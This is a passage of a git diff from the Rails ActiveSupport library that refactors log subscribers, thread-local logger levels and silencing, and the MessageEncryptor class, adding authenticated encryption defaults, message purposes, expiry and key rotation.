 require "active_support/core_ext/class/attribute"
+require "active_support/core_ext/enumerable"
 require "active_support/subscriber"
+require "active_support/deprecation/proxy_wrappers"
 
 module ActiveSupport
-  # ActiveSupport::LogSubscriber is an object set to consume
+  # = Active Support Log \Subscriber
+  #
+  # +ActiveSupport::LogSubscriber+ is an object set to consume
   # ActiveSupport::Notifications with the sole purpose of logging them.
   # The log subscriber dispatches notifications to a registered object based
   # on its given namespace.
@@ -13,44 +19,58 @@ module ActiveSupport
   #
   #   module ActiveRecord
   #     class LogSubscriber < ActiveSupport::LogSubscriber
+  #       attach_to :active_record
+  #
   #       def sql(event)
-  #         "#{event.payload[:name]} (#{event.duration}) #{event.payload[:sql]}"
+  #         info "#{event.payload[:name]} (#{event.duration}) #{event.payload[:sql]}"
   #       end
   #     end
   #   end
   #
-  # And it's finally registered as:
+  # ActiveRecord::LogSubscriber.logger must be set as well, but it is assigned
+  # automatically in a \Rails environment.
+  #
+  # After configured, whenever a <tt>"sql.active_record"</tt> notification is
+  # published, it will properly dispatch the event
+  # (ActiveSupport::Notifications::Event) to the +sql+ method.
   #
-  #   ActiveRecord::LogSubscriber.attach_to :active_record
+  # Being an ActiveSupport::Notifications consumer,
+  # +ActiveSupport::LogSubscriber+ exposes a simple interface to check if
+  # instrumented code raises an exception. It is common to log a different
+  # message in case of an error, and this can be achieved by extending
+  # the previous example:
   #
-  # Since we need to know all instance methods before attaching the log
-  # subscriber, the line above should be called after your
-  # <tt>ActiveRecord::LogSubscriber</tt> definition.
+  #   module ActiveRecord
+  #     class LogSubscriber < ActiveSupport::LogSubscriber
+  #       def sql(event)
+  #         exception = event.payload[:exception]
   #
-  # After configured, whenever a "sql.active_record" notification is published,
-  # it will properly dispatch the event (ActiveSupport::Notifications::Event) to
-  # the sql method.
+  #         if exception
+  #           exception_object = event.payload[:exception_object]
   #
-  # Log subscriber also has some helpers to deal with logging and automatically
-  # flushes all logs when the request finishes (via action_dispatch.callback
-  # notification) in a Rails environment.
+  #           error "[ERROR] #{event.payload[:name]}: #{exception.join(', ')} " \
+  #                 "(#{exception_object.backtrace.first})"
+  #         else
+  #           # standard logger code
+  #         end
+  #       end
+  #     end
+  #   end
+  #
+  # +ActiveSupport::LogSubscriber+ also has some helpers to deal with
+  # logging. For example, ActiveSupport::LogSubscriber.flush_all! will ensure
+  # that all logs are flushed, and it is called in Rails::Rack::Logger after a
+  # request finishes.
   class LogSubscriber < Subscriber
-    # Embed in a String to clear all previous ANSI sequences.
-    CLEAR   = "\e[0m"
-    BOLD    = "\e[1m"
-
-    # Colors
-    BLACK   = "\e[30m"
-    RED     = "\e[31m"
-    GREEN   = "\e[32m"
-    YELLOW  = "\e[33m"
-    BLUE    = "\e[34m"
-    MAGENTA = "\e[35m"
-    CYAN    = "\e[36m"
-    WHITE   = "\e[37m"
-
-    mattr_accessor :colorize_logging
-    self.colorize_logging = true
+    include ColorizeLogging
+
+    class_attribute :log_levels, instance_accessor: false, default: {} # :nodoc:
+
+    LEVEL_CHECKS = {
+      debug: -> (logger) { !logger.debug? },
+      info: -> (logger) { !logger.info? },
+      error: -> (logger) { !logger.error? },
+    }
 
     class << self
       def logger
@@ -61,6 +81,12 @@ def logger
 
       attr_writer :logger
 
+      def attach_to(...) # :nodoc:
+        result = super
+        set_event_levels
+        result
+      end
+
       def log_subscribers
         subscribers
       end
@@ -69,41 +95,52 @@ def log_subscribers
       def flush_all!
         logger.flush if logger.respond_to?(:flush)
       end
+
+      private
+        def fetch_public_methods(subscriber, inherit_all)
+          subscriber.public_methods(inherit_all) - LogSubscriber.public_instance_methods(true)
+        end
+
+        def set_event_levels
+          if subscriber
+            subscriber.event_levels = log_levels.transform_keys { |k| "#{k}.#{namespace}" }
+          end
+        end
+
+        def subscribe_log_level(method, level)
+          self.log_levels = log_levels.merge(method => LEVEL_CHECKS.fetch(level))
+          set_event_levels
+        end
     end
 
     def logger
       LogSubscriber.logger
     end
 
-    def start(name, id, payload)
-      super if logger
+    def initialize
+      super
+      @event_levels = {}
     end
 
-    def finish(name, id, payload)
+    def silenced?(event)
+      logger.nil? || @event_levels[event]&.call(logger)
+    end
+
+    def call(event)
       super if logger
-    rescue Exception => e
-      logger.error "Could not log #{name.inspect} event. #{e.class}: #{e.message} #{e.backtrace}"
+    rescue => e
+      log_exception(event.name, e)
     end
 
-  private
+    attr_writer :event_levels # :nodoc:
 
-    %w(info debug warn error fatal unknown).each do |level|
-      class_eval <<-METHOD, __FILE__, __LINE__ + 1
-        def #{level}(progname = nil, &block)
-          logger.#{level}(progname, &block) if logger
-        end
-      METHOD
-    end
+  private
+    def log_exception(name, e)
+      ActiveSupport.error_reporter.report(e, source: name)
 
-    # Set color by using a symbol or one of the defined constants. If a third
-    # option is set to +true+, it also adds bold to the string. This is based
-    # on the Highline implementation and will automatically append CLEAR to the
-    # end of the returned String.
-    def color(text, color, bold = false) # :doc:
-      return text unless colorize_logging
-      color = self.class.const_get(color.upcase) if color.is_a?(Symbol)
-      bold  = bold ? BOLD : ""
-      "#{bold}#{color}#{text}#{CLEAR}"
+      if logger
+        logger.error "Could not log #{name.inspect} event. #{e.class}: #{e.message} #{e.backtrace}"
+      end
     end
   end
 end
diff --git a/activesupport/lib/active_support/log_subscriber/test_helper.rb b/activesupport/lib/active_support/log_subscriber/test_helper.rb
index 953ee77c2abc7..85d45e1883624 100644
--- a/activesupport/lib/active_support/log_subscriber/test_helper.rb
+++ b/activesupport/lib/active_support/log_subscriber/test_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/log_subscriber"
 require "active_support/logger"
 require "active_support/notifications"
@@ -25,19 +27,19 @@ class LogSubscriber
     #
     # All you need to do is to ensure that your log subscriber is added to
     # Rails::Subscriber, as in the second line of the code above. The test
-    # helpers are responsible for setting up the queue, subscriptions and
+    # helpers are responsible for setting up the queue and subscriptions, and
     # turning colors in logs off.
     #
     # The messages are available in the @logger instance, which is a logger with
     # limited powers (it actually does not send anything to your output), and
     # you can collect them doing @logger.logged(level), where level is the level
-    # used in logging, like info, debug, warn and so on.
+    # used in logging, like info, debug, warn, and so on.
     module TestHelper
       def setup # :nodoc:
         @logger   = MockLogger.new
         @notifier = ActiveSupport::Notifications::Fanout.new
 
-        ActiveSupport::LogSubscriber.colorize_logging = false
+        ActiveSupport.colorize_logging = false
 
         @old_notifier = ActiveSupport::Notifications.notifier
         set_logger(@logger)
@@ -78,11 +80,11 @@ def flush
         end
 
         ActiveSupport::Logger::Severity.constants.each do |severity|
-          class_eval <<-EOT, __FILE__, __LINE__ + 1
+          class_eval <<~RUBY, __FILE__, __LINE__ + 1
             def #{severity.downcase}?
               #{severity} >= @level
             end
-          EOT
+          RUBY
         end
       end
 
diff --git a/activesupport/lib/active_support/logger.rb b/activesupport/lib/active_support/logger.rb
index ea09d7d2df01c..09ea81f58eaab 100644
--- a/activesupport/lib/active_support/logger.rb
+++ b/activesupport/lib/active_support/logger.rb
@@ -1,10 +1,11 @@
+# frozen_string_literal: true
+
 require "active_support/logger_silence"
 require "active_support/logger_thread_safe_level"
 require "logger"
 
 module ActiveSupport
   class Logger < ::Logger
-    include ActiveSupport::LoggerThreadSafeLevel
     include LoggerSilence
 
     # Returns true if the logger destination matches one of the sources
@@ -12,87 +13,26 @@ class Logger < ::Logger
     #   logger = Logger.new(STDOUT)
     #   ActiveSupport::Logger.logger_outputs_to?(logger, STDOUT)
     #   # => true
+    #
+    #   logger = Logger.new('/var/log/rails.log')
+    #   ActiveSupport::Logger.logger_outputs_to?(logger, '/var/log/rails.log')
+    #   # => true
     def self.logger_outputs_to?(logger, *sources)
-      logdev = logger.instance_variable_get("@logdev")
-      logger_source = logdev.dev if logdev.respond_to?(:dev)
-      sources.any? { |source| source == logger_source }
-    end
-
-    # Broadcasts logs to multiple loggers.
-    def self.broadcast(logger) # :nodoc:
-      Module.new do
-        define_method(:add) do |*args, &block|
-          logger.add(*args, &block)
-          super(*args, &block)
-        end
-
-        define_method(:<<) do |x|
-          logger << x
-          super(x)
-        end
-
-        define_method(:close) do
-          logger.close
-          super()
-        end
-
-        define_method(:progname=) do |name|
-          logger.progname = name
-          super(name)
-        end
-
-        define_method(:formatter=) do |formatter|
-          logger.formatter = formatter
-          super(formatter)
-        end
-
-        define_method(:level=) do |level|
-          logger.level = level
-          super(level)
-        end
-
-        define_method(:local_level=) do |level|
-          logger.local_level = level if logger.respond_to?(:local_level=)
-          super(level) if respond_to?(:local_level=)
-        end
-
-        define_method(:silence) do |level = Logger::ERROR, &block|
-          if logger.respond_to?(:silence)
-            logger.silence(level) do
-              if defined?(super)
-                super(level, &block)
-              else
-                block.call(self)
-              end
-            end
-          else
-            if defined?(super)
-              super(level, &block)
-            else
-              block.call(self)
-            end
-          end
-        end
+      loggers = if logger.is_a?(BroadcastLogger)
+        logger.broadcasts
+      else
+        [logger]
       end
-    end
 
-    def initialize(*args)
-      super
-      @formatter = SimpleFormatter.new
-      after_initialize if respond_to? :after_initialize
-    end
+      logdevs = loggers.map { |logger| logger.instance_variable_get(:@logdev) }
+      logger_sources = logdevs.filter_map { |logdev| logdev.try(:filename) || logdev.try(:dev) }
 
-    def add(severity, message = nil, progname = nil, &block)
-      return true if @logdev.nil? || (severity || UNKNOWN) < level
-      super
+      normalize_sources(sources).intersect?(normalize_sources(logger_sources))
     end
 
-    Logger::Severity.constants.each do |severity|
-      class_eval(<<-EOT, __FILE__, __LINE__ + 1)
-        def #{severity.downcase}?                # def debug?
-          Logger::#{severity} >= level           #   DEBUG >= level
-        end                                      # end
-      EOT
+    def initialize(*args, **kwargs)
+      super
+      @formatter ||= SimpleFormatter.new
     end
 
     # Simple formatter which only displays the message.
@@ -102,5 +42,14 @@ def call(severity, timestamp, progname, msg)
         "#{String === msg ? msg : msg.inspect}\n"
       end
     end
+
+    private
+      def self.normalize_sources(sources)
+        sources.map do |source|
+          source = source.path if source.respond_to?(:path)
+          source = File.realpath(source) if source.is_a?(String) && File.exist?(source)
+          source
+        end
+      end
   end
 end
diff --git a/activesupport/lib/active_support/logger_silence.rb b/activesupport/lib/active_support/logger_silence.rb
index 632994cf50670..8567eff403fd6 100644
--- a/activesupport/lib/active_support/logger_silence.rb
+++ b/activesupport/lib/active_support/logger_silence.rb
@@ -1,28 +1,21 @@
+# frozen_string_literal: true
+
 require "active_support/concern"
 require "active_support/core_ext/module/attribute_accessors"
-require "concurrent"
-
-module LoggerSilence
-  extend ActiveSupport::Concern
+require "active_support/logger_thread_safe_level"
 
-  included do
-    cattr_accessor :silencer
-    self.silencer = true
-  end
+module ActiveSupport
+  module LoggerSilence
+    extend ActiveSupport::Concern
 
-  # Silences the logger for the duration of the block.
-  def silence(temporary_level = Logger::ERROR)
-    if silencer
-      begin
-        old_local_level            = local_level
-        self.local_level           = temporary_level
+    included do
+      cattr_accessor :silencer, default: true
+      include ActiveSupport::LoggerThreadSafeLevel
+    end
 
-        yield self
-      ensure
-        self.local_level = old_local_level
-      end
-    else
-      yield self
+    # Silences the logger for the duration of the block.
+    def silence(severity = Logger::ERROR)
+      silencer ? log_at(severity) { yield self } : yield(self)
     end
   end
 end
diff --git a/activesupport/lib/active_support/logger_thread_safe_level.rb b/activesupport/lib/active_support/logger_thread_safe_level.rb
index 7fb175dea6403..71d32d5978733 100644
--- a/activesupport/lib/active_support/logger_thread_safe_level.rb
+++ b/activesupport/lib/active_support/logger_thread_safe_level.rb
@@ -1,31 +1,50 @@
+# frozen_string_literal: true
+
 require "active_support/concern"
+require "logger"
 
 module ActiveSupport
   module LoggerThreadSafeLevel # :nodoc:
     extend ActiveSupport::Concern
 
-    def after_initialize
-      @local_levels = Concurrent::Map.new(initial_capacity: 2)
-    end
-
-    def local_log_id
-      Thread.current.__id__
+    def initialize(...)
+      super
+      @local_level_key = :"logger_thread_safe_level_#{object_id}"
     end
 
     def local_level
-      @local_levels[local_log_id]
+      IsolatedExecutionState[local_level_key]
     end
 
     def local_level=(level)
-      if level
-        @local_levels[local_log_id] = level
+      case level
+      when Integer
+      when Symbol
+        level = Logger::Severity.const_get(level.to_s.upcase)
+      when nil
+      else
+        raise ArgumentError, "Invalid log level: #{level.inspect}"
+      end
+      if level.nil?
+        IsolatedExecutionState.delete(local_level_key)
       else
-        @local_levels.delete(local_log_id)
+        IsolatedExecutionState[local_level_key] = level
       end
     end
 
     def level
       local_level || super
     end
+
+    # Change the thread-local level for the duration of the given block.
+    def log_at(level)
+      old_local_level, self.local_level = local_level, level
+      yield
+    ensure
+      self.local_level = old_local_level
+    end
+
+    private
+      attr_reader :local_level_key
   end
 end
diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb
index 0671469788fe1..af0b20e18d1b5 100644
--- a/activesupport/lib/active_support/message_encryptor.rb
+++ b/activesupport/lib/active_support/message_encryptor.rb
@@ -1,42 +1,113 @@
+# frozen_string_literal: true
+
 require "openssl"
 require "base64"
-require "active_support/core_ext/array/extract_options"
+require "active_support/core_ext/module/attribute_accessors"
+require "active_support/messages/codec"
+require "active_support/messages/rotator"
 require "active_support/message_verifier"
 
 module ActiveSupport
+  # = Active Support Message Encryptor
+  #
   # MessageEncryptor is a simple way to encrypt values which get stored
   # somewhere you don't trust.
   #
   # The cipher text and initialization vector are base64 encoded and returned
   # to you.
   #
-  # This can be used in situations similar to the <tt>MessageVerifier</tt>, but
+  # This can be used in situations similar to the MessageVerifier, but
   # where you don't want users to be able to determine the value of the payload.
   #
-  #   salt  = SecureRandom.random_bytes(64)
-  #   key   = ActiveSupport::KeyGenerator.new('password').generate_key(salt, 32) # => "\x89\xE0\x156\xAC..."
-  #   crypt = ActiveSupport::MessageEncryptor.new(key)                           # => #<ActiveSupport::MessageEncryptor ...>
-  #   encrypted_data = crypt.encrypt_and_sign('my secret data')                  # => "NlFBTTMwOUV5UlA1QlNEN2xkY2d6eThYWWh..."
-  #   crypt.decrypt_and_verify(encrypted_data)                                   # => "my secret data"
-  class MessageEncryptor
-    DEFAULT_CIPHER = "aes-256-cbc"
+  #   len   = ActiveSupport::MessageEncryptor.key_len
+  #   salt  = SecureRandom.random_bytes(len)
+  #   key   = ActiveSupport::KeyGenerator.new('password').generate_key(salt, len) # => "\x89\xE0\x156\xAC..."
+  #   crypt = ActiveSupport::MessageEncryptor.new(key)                            # => #<ActiveSupport::MessageEncryptor ...>
+  #   encrypted_data = crypt.encrypt_and_sign('my secret data')                   # => "NlFBTTMwOUV5UlA1QlNEN2xkY2d6eThYWWh..."
+  #   crypt.decrypt_and_verify(encrypted_data)                                    # => "my secret data"
+  #
+  # The +decrypt_and_verify+ method will raise an
+  # +ActiveSupport::MessageEncryptor::InvalidMessage+ exception if the data
+  # provided cannot be decrypted or verified.
+  #
+  #   crypt.decrypt_and_verify('not encrypted data') # => ActiveSupport::MessageEncryptor::InvalidMessage
+  #
+  # === Confining messages to a specific purpose
+  #
+  # By default any message can be used throughout your app. But they can also be
+  # confined to a specific +:purpose+.
+  #
+  #   token = crypt.encrypt_and_sign("this is the chair", purpose: :login)
+  #
+  # Then that same purpose must be passed when verifying to get the data back out:
+  #
+  #   crypt.decrypt_and_verify(token, purpose: :login)    # => "this is the chair"
+  #   crypt.decrypt_and_verify(token, purpose: :shipping) # => nil
+  #   crypt.decrypt_and_verify(token)                     # => nil
+  #
+  # Likewise, if a message has no purpose it won't be returned when verifying with
+  # a specific purpose.
+  #
+  #   token = crypt.encrypt_and_sign("the conversation is lively")
+  #   crypt.decrypt_and_verify(token, purpose: :scare_tactics) # => nil
+  #   crypt.decrypt_and_verify(token)                          # => "the conversation is lively"
+  #
+  # === Making messages expire
+  #
+  # By default messages last forever and verifying one year from now will still
+  # return the original value. But messages can be set to expire at a given
+  # time with +:expires_in+ or +:expires_at+.
+  #
+  #   crypt.encrypt_and_sign(parcel, expires_in: 1.month)
+  #   crypt.encrypt_and_sign(doowad, expires_at: Time.now.end_of_year)
+  #
+  # Then the messages can be verified and returned up to the expire time.
+  # Thereafter, verifying returns +nil+.
+  #
+  # === Rotating keys
+  #
+  # MessageEncryptor also supports rotating out old configurations by falling
+  # back to a stack of encryptors. Call +rotate+ to build and add an encryptor
+  # so +decrypt_and_verify+ will also try the fallback.
+  #
+  # By default any rotated encryptors use the values of the primary
+  # encryptor unless specified otherwise.
+  #
+  # You'd give your encryptor the new defaults:
+  #
+  #   crypt = ActiveSupport::MessageEncryptor.new(@secret, cipher: "aes-256-gcm")
+  #
+  # Then gradually rotate the old values out by adding them as fallbacks. Any message
+  # generated with the old values will then work until the rotation is removed.
+  #
+  #   crypt.rotate old_secret            # Fallback to an old secret instead of @secret.
+  #   crypt.rotate cipher: "aes-256-cbc" # Fallback to an old cipher instead of aes-256-gcm.
+  #
+  # Though if both the secret and the cipher was changed at the same time,
+  # the above should be combined into:
+  #
+  #   crypt.rotate old_secret, cipher: "aes-256-cbc"
+  class MessageEncryptor < Messages::Codec
+    prepend Messages::Rotator
 
-    module NullSerializer #:nodoc:
-      def self.load(value)
-        value
-      end
+    cattr_accessor :use_authenticated_message_encryption, instance_accessor: false, default: false
 
-      def self.dump(value)
-        value
+    class << self
+      def default_cipher # :nodoc:
+        if use_authenticated_message_encryption
+          "aes-256-gcm"
+        else
+          "aes-256-cbc"
+        end
       end
     end
 
-    module NullVerifier #:nodoc:
-      def self.verify(value)
+    module NullSerializer # :nodoc:
+      def self.load(value)
         value
       end
 
-      def self.generate(value)
+      def self.dump(value)
         value
       end
     end
@@ -44,49 +115,166 @@ def self.generate(value)
     class InvalidMessage < StandardError; end
     OpenSSLCipherError = OpenSSL::Cipher::CipherError
 
+    AUTH_TAG_LENGTH = 16 # :nodoc:
+    SEPARATOR = "--" # :nodoc:
+
     # Initialize a new MessageEncryptor. +secret+ must be at least as long as
-    # the cipher key size. For the default 'aes-256-cbc' cipher, this is 256
+    # the cipher key size. For the default 'aes-256-gcm' cipher, this is 256
     # bits. If you are using a user-entered secret, you can generate a suitable
-    # key by using <tt>ActiveSupport::KeyGenerator</tt> or a similar key
+    # key by using ActiveSupport::KeyGenerator or a similar key
     # derivation function.
     #
-    # Options:
-    # * <tt>:cipher</tt>     - Cipher to use. Can be any cipher returned by
-    #   <tt>OpenSSL::Cipher.ciphers</tt>. Default is 'aes-256-cbc'.
-    # * <tt>:digest</tt> - String of digest to use for signing. Default is
-    #   +SHA1+. Ignored when using an AEAD cipher like 'aes-256-gcm'.
-    # * <tt>:serializer</tt> - Object serializer to use. Default is +Marshal+.
-    def initialize(secret, *signature_key_or_options)
-      options = signature_key_or_options.extract_options!
-      sign_secret = signature_key_or_options.first
+    # The first additional parameter is used as the signature key for
+    # MessageVerifier. This allows you to specify keys to encrypt and sign
+    # data. Ignored when using an AEAD cipher like 'aes-256-gcm'.
+    #
+    #    ActiveSupport::MessageEncryptor.new('secret', 'signature_secret')
+    #
+    # ==== Options
+    #
+    # [+:cipher+]
+    #   Cipher to use. Can be any cipher returned by +OpenSSL::Cipher.ciphers+.
+    #   Default is 'aes-256-gcm'.
+    #
+    # [+:digest+]
+    #   Digest used for signing. Ignored when using an AEAD cipher like
+    #   'aes-256-gcm'.
+    #
+    # [+:serializer+]
+    #   The serializer used to serialize message data. You can specify any
+    #   object that responds to +dump+ and +load+, or you can choose from
+    #   several preconfigured serializers: +:marshal+, +:json_allow_marshal+,
+    #   +:json+, +:message_pack_allow_marshal+, +:message_pack+.
+    #
+    #   The preconfigured serializers include a fallback mechanism to support
+    #   multiple deserialization formats. For example, the +:marshal+ serializer
+    #   will serialize using +Marshal+, but can deserialize using +Marshal+,
+    #   ActiveSupport::JSON, or ActiveSupport::MessagePack. This makes it easy
+    #   to migrate between serializers.
+    #
+    #   The +:marshal+, +:json_allow_marshal+, and +:message_pack_allow_marshal+
+    #   serializers support deserializing using +Marshal+, but the others do
+    #   not. Beware that +Marshal+ is a potential vector for deserialization
+    #   attacks in cases where a message signing secret has been leaked. <em>If
+    #   possible, choose a serializer that does not support +Marshal+.</em>
+    #
+    #   The +:message_pack+ and +:message_pack_allow_marshal+ serializers use
+    #   ActiveSupport::MessagePack, which can roundtrip some Ruby types that are
+    #   not supported by JSON, and may provide improved performance. However,
+    #   these require the +msgpack+ gem.
+    #
+    #   When using \Rails, the default depends on +config.active_support.message_serializer+.
+    #   Otherwise, the default is +:marshal+.
+    #
+    # [+:url_safe+]
+    #   By default, MessageEncryptor generates RFC 4648 compliant strings
+    #   which are not URL-safe. In other words, they can contain "+" and "/".
+    #   If you want to generate URL-safe strings (in compliance with "Base 64
+    #   Encoding with URL and Filename Safe Alphabet" in RFC 4648), you can
+    #   pass +true+.
+    #
+    # [+:force_legacy_metadata_serializer+]
+    #   Whether to use the legacy metadata serializer, which serializes the
+    #   message first, then wraps it in an envelope which is also serialized. This
+    #   was the default in \Rails 7.0 and below.
+    #
+    #   If you don't pass a truthy value, the default is set using
+    #   +config.active_support.use_message_serializer_for_metadata+.
+    def initialize(secret, sign_secret = nil, **options)
+      super(**options)
       @secret = secret
-      @sign_secret = sign_secret
-      @cipher = options[:cipher] || "aes-256-cbc"
-      @digest = options[:digest] || "SHA1" unless aead_mode?
-      @verifier = resolve_verifier
-      @serializer = options[:serializer] || Marshal
+      @cipher = options[:cipher] || self.class.default_cipher
+      @aead_mode = new_cipher.authenticated?
+      @verifier = if !@aead_mode
+        MessageVerifier.new(sign_secret || secret, **options, serializer: NullSerializer)
+      end
     end
 
     # Encrypt and sign a message. We need to sign the message in order to avoid
-    # padding attacks. Reference: http://www.limited-entropy.com/padding-oracle-attacks.
-    def encrypt_and_sign(value)
-      verifier.generate(_encrypt(value))
+    # padding attacks. Reference: https://www.limited-entropy.com/padding-oracle-attacks/.
+    #
+    # ==== Options
+    #
+    # [+:expires_at+]
+    #   The datetime at which the message expires. After this datetime,
+    #   verification of the message will fail.
+    #
+    #     message = encryptor.encrypt_and_sign("hello", expires_at: Time.now.tomorrow)
+    #     encryptor.decrypt_and_verify(message) # => "hello"
+    #     # 24 hours later...
+    #     encryptor.decrypt_and_verify(message) # => nil
+    #
+    # [+:expires_in+]
+    #   The duration for which the message is valid. After this duration has
+    #   elapsed, verification of the message will fail.
+    #
+    #     message = encryptor.encrypt_and_sign("hello", expires_in: 24.hours)
+    #     encryptor.decrypt_and_verify(message) # => "hello"
+    #     # 24 hours later...
+    #     encryptor.decrypt_and_verify(message) # => nil
+    #
+    # [+:purpose+]
+    #   The purpose of the message. If specified, the same purpose must be
+    #   specified when verifying the message; otherwise, verification will fail.
+    #   (See #decrypt_and_verify.)
+    def encrypt_and_sign(value, **options)
+      create_message(value, **options)
     end
 
     # Decrypt and verify a message. We need to verify the message in order to
-    # avoid padding attacks. Reference: http://www.limited-entropy.com/padding-oracle-attacks.
-    def decrypt_and_verify(value)
-      _decrypt(verifier.verify(value))
+    # avoid padding attacks. Reference: https://www.limited-entropy.com/padding-oracle-attacks/.
+    #
+    # ==== Options
+    #
+    # [+:purpose+]
+    #   The purpose that the message was generated with. If the purpose does not
+    #   match, +decrypt_and_verify+ will return +nil+.
+    #
+    #     message = encryptor.encrypt_and_sign("hello", purpose: "greeting")
+    #     encryptor.decrypt_and_verify(message, purpose: "greeting") # => "hello"
+    #     encryptor.decrypt_and_verify(message)                      # => nil
+    #
+    #     message = encryptor.encrypt_and_sign("bye")
+    #     encryptor.decrypt_and_verify(message)                      # => "bye"
+    #     encryptor.decrypt_and_verify(message, purpose: "greeting") # => nil
+    #
+    def decrypt_and_verify(message, **options)
+      catch_and_raise :invalid_message_format, as: InvalidMessage do
+        catch_and_raise :invalid_message_serialization, as: InvalidMessage do
+          catch_and_ignore :invalid_message_content do
+            read_message(message, **options)
+          end
+        end
+      end
     end
 
     # Given a cipher, returns the key length of the cipher to help generate the key of desired size
-    def self.key_len(cipher = DEFAULT_CIPHER)
+    def self.key_len(cipher = default_cipher)
       OpenSSL::Cipher.new(cipher).key_len
     end
 
+    def create_message(value, **options) # :nodoc:
+      sign(encrypt(serialize_with_metadata(value, **options)))
+    end
+
+    def read_message(message, **options) # :nodoc:
+      deserialize_with_metadata(decrypt(verify(message)), **options)
+    end
+
+    def inspect # :nodoc:
+      "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
+    end
+
     private
+      def sign(data)
+        @verifier ? @verifier.create_message(data) : data
+      end
+
+      def verify(data)
+        @verifier ? @verifier.read_message(data) : data
+      end
 
-      def _encrypt(value)
+      def encrypt(data)
         cipher = new_cipher
         cipher.encrypt
         cipher.key = @secret
@@ -95,22 +283,25 @@ def _encrypt(value)
         iv = cipher.random_iv
         cipher.auth_data = "" if aead_mode?
 
-        encrypted_data = cipher.update(@serializer.dump(value))
+        encrypted_data = cipher.update(data)
         encrypted_data << cipher.final
 
-        blob = "#{::Base64.strict_encode64 encrypted_data}--#{::Base64.strict_encode64 iv}"
-        blob << "--#{::Base64.strict_encode64 cipher.auth_tag}" if aead_mode?
-        blob
+        parts = [encrypted_data, iv]
+        parts << cipher.auth_tag(AUTH_TAG_LENGTH) if aead_mode?
+
+        join_parts(parts)
       end
 
-      def _decrypt(encrypted_message)
+      def decrypt(encrypted_message)
         cipher = new_cipher
-        encrypted_data, iv, auth_tag = encrypted_message.split("--".freeze).map { |v| ::Base64.strict_decode64(v) }
+        encrypted_data, iv, auth_tag = extract_parts(encrypted_message)
 
         # Currently the OpenSSL bindings do not raise an error if auth_tag is
         # truncated, which would allow an attacker to easily forge it. See
         # https://github.com/ruby/openssl/issues/63
-        raise InvalidMessage if aead_mode? && auth_tag.bytes.length != 16
+        if aead_mode? && auth_tag.bytesize != AUTH_TAG_LENGTH
+          throw :invalid_message_format, "truncated auth_tag"
+        end
 
         cipher.decrypt
         cipher.key = @secret
@@ -122,30 +313,62 @@ def _decrypt(encrypted_message)
 
         decrypted_data = cipher.update(encrypted_data)
         decrypted_data << cipher.final
+      rescue OpenSSLCipherError => error
+        throw :invalid_message_format, error
+      end
 
-        @serializer.load(decrypted_data)
-      rescue OpenSSLCipherError, TypeError, ArgumentError
-        raise InvalidMessage
+      def length_after_encode(length_before_encode)
+        if @url_safe
+          (4 * length_before_encode / 3.0).ceil # length without padding
+        else
+          4 * (length_before_encode / 3.0).ceil # length with padding
+        end
       end
 
-      def new_cipher
-        OpenSSL::Cipher.new(@cipher)
+      def length_of_encoded_iv
+        @length_of_encoded_iv ||= length_after_encode(new_cipher.iv_len)
       end
 
-      def verifier
-        @verifier
+      def length_of_encoded_auth_tag
+        @length_of_encoded_auth_tag ||= length_after_encode(AUTH_TAG_LENGTH)
       end
 
-      def aead_mode?
-        @aead_mode ||= new_cipher.authenticated?
+      def join_parts(parts)
+        parts.map! { |part| encode(part) }.join(SEPARATOR)
       end
 
-      def resolve_verifier
-        if aead_mode?
-          NullVerifier
+      def extract_part(encrypted_message, rindex, length)
+        index = rindex - length
+
+        if encrypted_message[index - SEPARATOR.length, SEPARATOR.length] == SEPARATOR
+          encrypted_message[index, length]
         else
-          MessageVerifier.new(@sign_secret || @secret, digest: @digest, serializer: NullSerializer)
+          throw :invalid_message_format, "missing separator"
+        end
+      end
+
+      def extract_parts(encrypted_message)
+        parts = []
+        rindex = encrypted_message.length
+
+        if aead_mode?
+          parts << extract_part(encrypted_message, rindex, length_of_encoded_auth_tag)
+          rindex -= SEPARATOR.length + length_of_encoded_auth_tag
         end
+
+        parts << extract_part(encrypted_message, rindex, length_of_encoded_iv)
+        rindex -= SEPARATOR.length + length_of_encoded_iv
+
+        parts << encrypted_message[0, rindex]
+
+        parts.reverse!.map! { |part| decode(part) }
       end
+
+      def new_cipher
+        OpenSSL::Cipher.new(@cipher)
+      end
+
+      attr_reader :aead_mode
+      alias :aead_mode? :aead_mode
   end
 end
diff --git a/activesupport/lib/active_support/message_encryptors.rb b/activesupport/lib/active_support/message_encryptors.rb
new file mode 100644
index 0000000000000..813b17ebdfa41
--- /dev/null
+++ b/activesupport/lib/active_support/message_encryptors.rb
@@ -0,0 +1,193 @@
+# frozen_string_literal: true
+
+require "active_support/messages/rotation_coordinator"
+
+module ActiveSupport
+  class MessageEncryptors < Messages::RotationCoordinator
+    ##
+    # :attr_accessor: transitional
+    #
+    # If true, the first two rotation option sets are swapped when building
+    # message encryptors. For example, with the following configuration, message
+    # encryptors will encrypt messages using <tt>serializer: Marshal, url_safe: true</tt>,
+    # and will able to decrypt messages that were encrypted using any of the
+    # three option sets:
+    #
+    #   encryptors = ActiveSupport::MessageEncryptors.new { ... }
+    #   encryptors.rotate(serializer: JSON, url_safe: true)
+    #   encryptors.rotate(serializer: Marshal, url_safe: true)
+    #   encryptors.rotate(serializer: Marshal, url_safe: false)
+    #   encryptors.transitional = true
+    #
+    # This can be useful when performing a rolling deploy of an application,
+    # wherein servers that have not yet been updated must still be able to
+    # decrypt messages from updated servers. In such a scenario, first perform a
+    # rolling deploy with the new rotation (e.g. <tt>serializer: JSON, url_safe: true</tt>)
+    # as the first rotation and <tt>transitional = true</tt>. Then, after all
+    # servers have been updated, perform a second rolling deploy with
+    # <tt>transitional = false</tt>.
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#transitional
+
+    ##
+    # :singleton-method: new
+    # :call-seq: new(&secret_generator)
+    #
+    # Initializes a new instance. +secret_generator+ must accept a salt and a
+    # +secret_length+ kwarg, and return a suitable secret (string) or secrets
+    # (array of strings). +secret_generator+ may also accept other arbitrary
+    # kwargs. If #rotate is called with any options matching those kwargs, those
+    # options will be passed to +secret_generator+ instead of to the message
+    # encryptor.
+    #
+    #   encryptors = ActiveSupport::MessageEncryptors.new do |salt, secret_length:, base:|
+    #     MySecretGenerator.new(base).generate(salt, secret_length)
+    #   end
+    #
+    #   encryptors.rotate(base: "...")
+    #
+    #--
